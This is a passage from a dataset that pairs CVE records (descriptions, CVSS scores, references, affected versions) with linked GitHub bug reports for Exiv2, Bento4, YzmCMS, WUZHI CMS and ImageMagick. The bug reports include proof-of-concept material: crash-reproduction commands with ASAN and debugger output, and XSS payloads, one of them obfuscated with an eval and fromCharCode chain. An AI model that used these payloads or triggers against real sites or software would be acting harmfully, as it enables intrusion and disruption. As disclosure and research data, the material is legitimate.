0x006e776f6e6b6e75 ("unknown"?) 0x00007fffffccfa90│+0x0010: 0x00007fffffccfad0 → 0x00007fffffccfeb0 → 0x00007fffffcd0290 → 0x00007fffffcd0670 → 0x00007fffffcd0a50 → 0x00007fffffcd0e30 → 0x00007fffffcd1210 0x00007fffffccfa98│+0x0018: 0x00007ffff681f34b → <Exiv2::Internal::indent[abi:cxx11](int)+86> jmp 0x7ffff681f326 <Exiv2::Internal::indent[abi:cxx11](int)+49> 0x00007fffffccfaa0│+0x0020: 0x00000825fff99f84 → 0x0000000000000000 0x00007fffffccfaa8│+0x0028: 0x00007fffffccfd80 → 0x0000620001c10080 → 0x2020202020202020 0x00007fffffccfab0│+0x0030: 0x00007ffff69600a0 → 0x006e776f6e6b6e75 ("unknown"?) 0x00007fffffccfab8│+0x0038: 0x7ebffb45ba0eea00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff622769e <std::__cxx11::basic_string<char,+0> mov rdi, QWORD PTR [rbx] 0x7ffff62276a1 <std::__cxx11::basic_string<char,+0> mov QWORD PTR [rbx+0x8], rbp 0x7ffff62276a5 <std::__cxx11::basic_string<char,+0> mov BYTE PTR [rdi+rbp1], 0x0 → 0x7ffff62276a9 <std::__cxx11::basic_string<char,+0> add rsp, 0x8 0x7ffff62276ad <std::__cxx11::basic_string<char,+0> mov rax, rbx 0x7ffff62276b0 <std::__cxx11::basic_string<char,+0> pop rbx 0x7ffff62276b1 <std::__cxx11::basic_string<char,+0> pop rbp 0x7ffff62276b2 <std::__cxx11::basic_string<char,+0> ret 0x7ffff62276b3 <std::__cxx11::basic_string<char,+0> nop DWORD PTR [rax+rax1+0x0] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "exiv2", stopped, reason: SIGINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff62276a9 → std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_append(char const, unsigned long)() [#1] 0x7ffff681f34b → Exiv2::Internal::indent[abi:cxx11](int)(d=0x825) [#2] 0x7ffff66eb692 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd20) [#3] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1f) [#4] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1e) [#5] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1d) [#6] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1c) [#7] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1b) [#8] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd1a) [#9] 0x7ffff66ebe88 → Exiv2::(anonymous namespace)::BigTiffImage::printIFD(this=0x61300000de80, out=@0x672ac0, option=Exiv2::kpsRecursive, dir_offset=0x80, depth=0xd19) ```	Uncontrolled recursion loop in Exiv2::(anonymous namespace)::BigTiffImage::printIFD( )	https://api.github.com/repos/Exiv2/exiv2/issues/712/comments	4	2019-02-21T11:57:14Z	2020-01-24T16:01:01Z	https://github.com/Exiv2/exiv2/issues/712	412,888,776	712
CVE-2019-9544	2019-03-01T19:29:02.850	An issue was discovered in Bento4 1.5.1-628. An out of bounds write occurs in AP4_CttsTableEntry::AP4_CttsTableEntry() located in Core/Ap4Array.h. It can be triggered by sending a crafted file to (for example) the mp42hls binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/374" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/out-of-bounds-write-in-function-ap4_cttstableentryap4_cttstableentry-bento4-1-5-1-0/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-628:::::::*", "matchCriteriaId": "27A2EAA1-1740-4A14-BFFC-BD4406E9BD87", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/374	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	Description - we observed a Out of bound write occured in function AP4_Array<AP4_CttsTableEntry>::SetItemCount() located in Ap4Array.h.The same be triggered by sending a crafted file to the [mp42hls.exe(windows)] [mp42hls(ubuntu)] binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. Command in linux - mp42hls --hls-version 3 --pmt-pid 0x100 --video-pid 0x102 --video-track-id 1 --segment-duration 6 --segment-duration-threshold 15 --pcr-offset 10000 --index-filename stream.m3u8 --segment-filename-template stream.mp4 --output-single-file $POC Command in windows - mp42hls.exe --hls-version 3 --pmt-pid 0x100 --video-pid 0x102 --video-track-id 1 --segment-duration 6 --segment-duration-threshold 15 --pcr-offset 10000 --index-filename stream.m3u8 --segment-filename-template stream.mp4 --output-single-file $POC POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/HOB_POC1?raw=true) Degub - ASAN REPORT - ~~~ ASAN report: WARNING: forcing version to 4 in order to support single file output ================================================================= ==9911==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb4303d10 at pc 0x08187f87 bp 0xbfffd008 sp 0xbfffcff8 WRITE of size 4 at 0xb4303d10 thread T0 #0 0x8187f86 in AP4_CttsTableEntry::AP4_CttsTableEntry() /Bento4/Source/C++/Core/Ap4CttsAtom.h:51 #1 0x8188428 in AP4_Array<AP4_CttsTableEntry>::SetItemCount(unsigned int) /Bento4/Source/C++/Core/Ap4Array.h:215 #2 0x8187441 in AP4_CttsAtom::AP4_CttsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4CttsAtom.cpp:79 #3 0x81870aa in AP4_CttsAtom::Create(unsigned int, AP4_ByteStream&) /Bento4/Source/C++/Core/Ap4CttsAtom.cpp:52 #4 0x8196e9a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:469 #5 0x81950ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:231 #6 0x80c376f in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194 #7 0x80c31a1 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139 #8 0x80c2c79 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88 #9 0x81987d0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:774 #10 0x81950ee in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:231 #11 0x80c376f in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194 #12 0x80c31a1 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139 #13 0x80c2c79 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88 #14 0x81987d0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /Bento4/Source/C++/Core/Ap4AtomFactory.cpp:774 SUMMARY: AddressSanitizer: heap-buffer-overflow /Bento4/Source/C++/Core/Ap4CttsAtom.h:51 AP4_CttsTableEntry::AP4_CttsTableEntry() Shadow bytes around the buggy address: 0x36860750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x36860790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x368607a0: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x368607f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==9911==ABORTING ~~~ GDB* - ~~~ source:/home/loginsoft/ACE/sources/himanshu_sources/Bento4/Source/C++/Core/Ap4Array.h+215 ──── 210 AP4_Result result = EnsureCapacity(item_count); 211 if (AP4_FAILED(result)) return result; 212 213 // construct the new items 214 for (unsigned int i=m_ItemCount; i<item_count; i++) { // i=0x27ae → 215 new ((void)&m_Items[i]) T(); 216 } 217 m_ItemCount = item_count; 218 return AP4_SUCCESS; 219 } 220 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "mp42hls", stopped, reason: SIGSEGV ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x810429f → AP4_Array<AP4_SbgpAtom::Entry>::SetItemCount(this=0x8165278, item_count=0x80000001) [#1] 0x8103d92 → AP4_SbgpAtom::AP4_SbgpAtom(this=0x8165250, size=0x1c, version=0x0, flags=0x0, stream=@0x8159ea0) [#2] 0x8103bf5 → AP4_SbgpAtom::Create(size=0x1c, stream=@0x8159ea0) [#3] 0x80f59da → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, type=0x73626770, size_32=0x1c, size_64=0x1c, atom=@0xbfffe72c) [#4] 0x80f412a → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, bytes_available=@0xbfffe730, atom=@0xbfffe72c) [#5] 0x80a4cd5 → AP4_ContainerAtom::ReadChildren(this=0x815ea10, atom_factory=@0xbffff1c4, stream=@0x8159ea0, size=0x4a40) [#6] 0x80a4a44 → AP4_ContainerAtom::AP4_ContainerAtom(this=0x815ea10, type=0x7374626c, size=0x4a48, force_64=0x0, stream=@0x8159ea0, atom_factory=@0xbffff1c4) [#7] 0x80a47e5 → AP4_ContainerAtom::Create(type=0x7374626c, size=0x4a48, is_full=0x0, force_64=0x0, stream=@0x8159ea0, atom_factory=@0xbffff1c4) [#8] 0x80f5bbf → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, type=0x7374626c, size_32=0x4a48, size_64=0x4a48, atom=@0xbfffe93c) [#9] 0x80f412a → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, bytes_available=@0xbfffe940, atom=@0xbfffe93c) ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ p/d entry_count $3 = 1073742722 gef➤ p/d item_count $4 = 1073742722 gef➤ ptype i type = unsigned int gef➤ p/d i $13 = 15468 gef➤ p/d m_Items $14 = 135638176 gef➤ ptype m_Items type = class AP4_CttsTableEntry { public: AP4_UI32 m_SampleCount; AP4_UI32 m_SampleOffset; AP4_CttsTableEntry(void); AP4_CttsTableEntry(AP4_UI32, AP4_UI32); } gef➤ x m_Items[i] Cannot access memory at address 0x8179000 gef➤ p m_Items[15468] Cannot access memory at address 0x8179000 gef➤ i r eax 0x8179000 0x8179000 ecx 0xb7df3780 0xb7df3780 edx 0x1e360 0x1e360 ebx 0x815ac60 0x815ac60 esp 0xbfffe528 0xbfffe528 ebp 0xbfffe528 0xbfffe528 esi 0x1c20 0x1c20 edi 0xb7df3000 0xb7df3000 eip 0x80ef168 0x80ef168 <AP4_CttsTableEntry::AP4_CttsTableEntry()+6> eflags 0x10292 [ AF SF IF RF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33 ~~~ DEBUG ON WINDOWS - ~~~ STACK_TEXT: 004be750 000d6b2d 0074f000 00000551 00000000 Mp42Hls!AP4_CttsTableEntry::AP4_CttsTableEntry+0x11 004be76c 000d60e3 40000382 15981e17 004be928 Mp42Hls!AP4_Array<AP4_CttsTableEntry>::SetItemCount+0xbd 004be7bc 000d668b 00001c20 00000000 00000000 Mp42Hls!AP4_CttsAtom::AP4_CttsAtom+0xa3 004be808 000a1fb9 00001c20 00749810 1598109f Mp42Hls!AP4_CttsAtom::Create+0xab 004be934 000a08dd 00749810 63747473 00001c20 Mp42Hls!AP4_AtomFactory::CreateAtomFromStream+0x14c9 004be9e8 000ae0b9 00749810 004bea08 004bea18 Mp42Hls!AP4_AtomFactory::CreateAtomFromStream+0x26d FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_Mp42Hls.exe!AP4_CttsTableEntry::AP4_CttsTableEntry BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_Mp42Hls!AP4_CttsTableEntry::AP4_CttsTableEntry+11 ExceptionCode: c0000005 (Access violation) FAULTING_SOURCE_FILE: \bento4-master\source\c++\core\ap4cttsatom.h FAILURE_FUNCTION_NAME: AP4_CttsTableEntry::AP4_CttsTableEntry Registers: eax=0074f000 ebx=7efde000 ecx=0074f000 edx=00000001 esi=004be954 edi=004be7b0 eip=000d62f1 esp=004be74c ebp=004be750 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ~~~	Out of bound write in AP4_CttsTableEntry::AP4_CttsTableEntry()	https://api.github.com/repos/axiomatic-systems/Bento4/issues/374/comments	0	2019-02-28T15:32:28Z	2019-02-28T15:32:28Z	https://github.com/axiomatic-systems/Bento4/issues/374	415,682,606	374
CVE-2019-9570	2019-03-05T14:29:00.247	An issue was discovered in YzmCMS 5.2.0. It has XSS via the bottom text field to the admin/system_manage/save.html URI, related to the site_code parameter.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/yzmcms/yzmcms/issues/11" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:yzmcms:yzmcms:5.2.0:::::::*", "matchCriteriaId": "8FD619C0-7DE0-4AD6-8D01-4F464B6EB6E5", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/yzmcms/yzmcms/issues/11	[ "Exploit", "Third Party Advisory" ]	github.com	[ "yzmcms", "yzmcms" ]	Hi, I would like to report Cross Site Scripting vulnerability in YzmCMS V5.2. POC: 1.Login to administrator panel. 2.Open below URL in browser which supports flash. url:http://123.com/admin/system_manage/save.html eg: <script>alert('xss2')</script> ![xss2 3](https://user-images.githubusercontent.com/32690714/53786532-f617c100-3f56-11e9-95cb-057e221990ef.png) ![xss2 4](https://user-images.githubusercontent.com/32690714/53786562-18114380-3f57-11e9-8861-9e0a595c6677.png) Fix: Filter the site_code parameter	Bug: YzmCMS V5.2 XSS	https://api.github.com/repos/yzmcms/yzmcms/issues/11/comments	1	2019-03-05T06:59:56Z	2020-12-28T07:43:28Z	https://github.com/yzmcms/yzmcms/issues/11	417,146,864	11
CVE-2018-17425	2019-03-07T23:29:01.033	WUZHI CMS 4.1.0 has stored XSS via the "Membership Center" "I want to ask" "detailed description" field under the index.php?m=member URI.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/153" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:wuzhicms:wuzhi_cms:4.1.0:::::::*", "matchCriteriaId": "F4749403-9C42-40DF-A695-A9E31BD37D84", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/wuzhicms/wuzhicms/issues/153	[ "Exploit", "Third Party Advisory" ]	github.com	[ "wuzhicms", "wuzhicms" ]	WUZHI CMS 4.1.0 Front-end user login - Membership Center - I want to ask - detailed description - > storage XSS vulnerabilities found in the system Bulletin poc xss payload:<details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(50)+String.fromCharCode(41))> Steps to Reproduce http://127.0.0.1/index.php?m=member ![0](https://user-images.githubusercontent.com/32322494/45729023-3aa7de00-bbfd-11e8-8e59-ef8925ad0e1c.png) ![1](https://user-images.githubusercontent.com/32322494/45729032-42678280-bbfd-11e8-8cb2-01d6e06b7547.png) ![2](https://user-images.githubusercontent.com/32322494/45729038-4693a000-bbfd-11e8-969e-b8c333f347f9.png)	Front-end user login - Membership Center - I want to ask - detailed description - > storage XSS vulnerabilities found in the system Bulletin	https://api.github.com/repos/wuzhicms/wuzhicms/issues/153/comments	0	2018-09-19T03:16:02Z	2018-09-19T05:10:24Z	https://github.com/wuzhicms/wuzhicms/issues/153	361,561,649	153
CVE-2018-17426	2019-03-07T23:29:01.080	WUZHI CMS 4.1.0 has stored XSS via the "Extension module" "SMS in station" field under the index.php?m=core URI.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/154" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:wuzhicms:wuzhi_cms:4.1.0:::::::*", "matchCriteriaId": "F4749403-9C42-40DF-A695-A9E31BD37D84", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/wuzhicms/wuzhicms/issues/154	[ "Exploit", "Third Party Advisory" ]	github.com	[ "wuzhicms", "wuzhicms" ]	WUZHI CMS 4.1.0 There is a a Stored-XSS Extension module - SMS in station POC <details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(50)+String.fromCharCode(41))> ![0](https://user-images.githubusercontent.com/32322494/45732273-1e606d00-bc0e-11e8-81e9-45a4c74e6e5b.png) ![1](https://user-images.githubusercontent.com/32322494/45732275-23252100-bc0e-11e8-822b-a2bdae3662bc.png) ![2](https://user-images.githubusercontent.com/32322494/45732279-26b8a800-bc0e-11e8-9338-872e41b65dfd.png)	WUZHI CMS 4.1.0 There is a a Stored-XSS	https://api.github.com/repos/wuzhicms/wuzhicms/issues/154/comments	0	2018-09-19T05:16:06Z	2018-09-19T05:16:06Z	https://github.com/wuzhicms/wuzhicms/issues/154	361,581,619	154
CVE-2019-7175	2019-03-07T23:29:01.597	In ImageMagick before 7.0.8-25, some memory leaks exist in DecodeImage in coders/pcd.c.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/commit/1e6a3ace073c9ec9c71e439c111d23c6e66cb6ae" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1450" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:imagemagick:imagemagick::::::::", "matchCriteriaId": "E982CE9C-89F7-4A5D-B036-A9A483493D5B", "versionEndExcluding": "6.9.10-25", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:imagemagick:imagemagick::::::::", "matchCriteriaId": "2F7DF2A1-ADDE-48C4-BD39-CCA15D0D767A", "versionEndExcluding": "7.0.8-25", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.0.0-0", "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:opensuse:leap:15.0:::::::", "matchCriteriaId": "F1E78106-58E6-4D59-990F-75DA575BFAD9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:10.0:::::::", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": 